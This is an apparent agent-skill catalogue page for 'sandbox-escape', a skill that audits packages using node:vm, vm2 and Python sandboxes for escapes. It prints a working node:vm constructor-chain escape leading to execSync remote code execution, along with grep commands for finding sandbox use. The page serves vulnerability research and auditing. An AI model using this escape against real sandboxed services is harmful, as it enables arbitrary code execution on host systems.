Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ByamB4/find-cve-agent --skill sandbox-escapegit clone --depth 1 https://github.com/ByamB4/find-cve-agentWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/byamb4/find-cve-agent/sandbox-escape)<a href="https://agentmods.dev/skills/byamb4/find-cve-agent/sandbox-escape"><img src="https://agentmods.dev/badge/skills/byamb4/find-cve-agent/sandbox-escape/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/byamb4/find-cve-agent/sandbox-escape"><img src="https://agentmods.dev/badge/skills/byamb4/find-cve-agent/sandbox-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00034 | $0.01275 |
| Opus 5 | $0.00017 | $0.00638 |
| Sonnet 5 | $0.00007 | $0.00255 |
| Haiku 4.5 | $0.00003 | $0.00128 |
Grade A, and why
sandbox-escape scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
process.mainModule.require('child_process').execSync('id').toString(); How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Sandbox Escape Detection
When to Use
Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.
Key Insight
node:vm is NOT a security mechanism. The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses vm.runInNewContext() to isolate untrusted code, it is vulnerable.
The Constructor Chain (node:vm)
The fundamental escape from node:vm:
// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the host
Then achieve RCE:
const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();
Why This Works
thisrefers to the sandbox objectthis.constructorisObject(from the outer realm)Object.constructorisFunction(from the outer realm)Function('return process')()executes in the outer realmprocessgives access torequireand the full Node.js API
Process
Step 1: Find Sandbox Usage
# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .
# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .
# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .
# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .
Step 2: Identify the Sandbox Mechanism
| Mechanism | Security Level | Notes |
|---|---|---|
| node:vm | NONE | Not a security boundary. Always escapable. |
| vm2 | LOW-MEDIUM | Deprecated. Multiple CVEs. Check version. |
| isolated-vm | HIGH | Separate V8 isolate. Genuinely isolated. |
| quickjs-emscripten | HIGH | Separate engine in Wasm. |
| Python simpleeval | MEDIUM | Safe for simple expressions. Check version. |
| Python ast.literal_eval | HIGH | Only allows literals. Safe. |
| RestrictedPython | MEDIUM | Check version for known bypasses. |
| Custom eval wrappers | LOW | Almost always bypassable. |
What ships with it
3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 145 lines · 34 tokens per session scan A c79b2a055b9c
sandbox-escape is a skill published in the GitHub repository ByamB4/find-cve-agent (48 stars, last pushed 5mo ago), licensed Apache-2.0. It adds 34 tokens to every session and 1,275 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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